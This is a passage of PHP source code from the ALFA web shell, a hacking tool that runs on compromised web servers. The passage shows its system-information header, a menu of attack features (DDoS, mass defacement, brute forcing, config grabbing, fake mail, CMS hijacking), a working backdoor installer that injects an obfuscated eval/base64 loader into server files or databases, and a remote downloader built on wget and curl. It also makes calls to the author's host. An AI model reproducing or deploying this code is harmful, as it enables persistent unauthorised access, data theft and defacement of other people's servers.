<div id='a_loader'><img src='".__showicon('loader')."'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="alfa'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(alfaEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo alfaEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."\n");
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
	return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
	$s['btn']='http://solevisible.com/images/btn.png';
	$s['alfamini']='http://solevisible.com/images/alfamini.png';
	$s['loader']='http://solevisible.com/images/loader.svg';
	//return 'data:image/png;base64,'.__get_resource($s[$r]);
	return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success= '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if($_POST['alfa1']=='file'){
echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
if($_POST['alfa1']=='db'){
echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type='submit' value=' '></p></form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,'DROP TABLE `alfa_bc`');
@mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
@file_put_contents($file,$code."\n".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
echo('</div>');
alfafooter();
}
function alfawhois(){
echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
$site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
$data = @file_get_contents($target);
if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
echo("</div>");
}
function alfaremotedl(){
alfahead();
echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
<p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>
<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
</form></p></center>");
if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo('<center>');
if(__download($url,$path)){
echo('<font color="green">Success...!</font>');
}else{
echo('<font color="red">Error...!</font>');
}
echo('</center>');
}
echo("</div>");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
  if(function_exists("iconv")){
	  $s = trim($string);
	  $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  }
  return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
	$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function alfaMarket(){
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
	echo $data["content"];
}else{
	echo $data["error_msg"];
}
}else{
	echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
if($_POST["alfa8"] == "main"){
echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
$lg_array = array('0'=>'No','1'=>'Yes');
$penc_array = array('false'=>'No','true'=>'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
echo '';
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
if($_POST['alfa5']=='>>'){
echo __pre();
if(!empty($_POST['alfa3'])){
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\''.$user_rand.'\'(.*?),/i';
$find_pw = '/\''.$pass_rand.'\'(.*?),/i';
$find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
$find_p = '/\''.$safemode_rand.'\'(.*?),/i';
$icons = '/\''.$show_icons_rand.'\'(.*?),/i';
$postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
$cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = '\''.$user_rand.'\' => \''.$username.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
$new = '\''.$pass_rand.'\' => \''.$password.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
}else{
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
}else{
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
}elseif($_POST["alfa8"] == "color"){
echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
echo '<table border="1"><tbody>';
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
	$multi = "";
	if(is_array($value)){
		if(isset($value["multi_selector"])){
			$multi = __ZW5jb2Rlcg(json_encode($value));
		}
	}
	$value = alfa_getColor($key);
	$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
	echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';

echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
if($_POST['alfa7']=='export'){
	echo __pre();
	$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	$array = array();
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array[$k] = $v;
	}
	$file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
	$config = json_encode($array, JSON_PRETTY_PRINT);
	if(!@file_put_contents($file, $config)){
		echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
	}else{
		echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
	}
}
if($_POST['alfa2']=='>>'){
	echo __pre();
	$colors = json_decode($_POST["alfa1"],true);
	$array = "";
	$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array .= '"'.trim($k).'" => "'.$v.'",';
	}
	@chdir($GLOBALS['home_cwd']);
	$basename = @basename($_SERVER['PHP_SELF']);
	$data = @file_get_contents($basename);
	$color = '/\'color\'(.*?)\),/s';
	if(preg_match($color,$data,$e)){
		$new = "'color' => array(".$array."),";
		$data = str_replace($e[0],$new,$data);
		if(@file_put_contents($basename, $data)){
			echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
		}else{
			echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
		}
	}else{
		echo("<center><p><h3>[-] Error...!</h3></p></center>");
	}
}
}
echo('</div>');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo '<div class="header">';
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if(empty($about_us)){
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
<b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>
<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>
<font color='#00A220'>Contact : [email protected]</font><br>
<font color='#00A220'>Telegram Channel: @solevisible</font><br>
<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
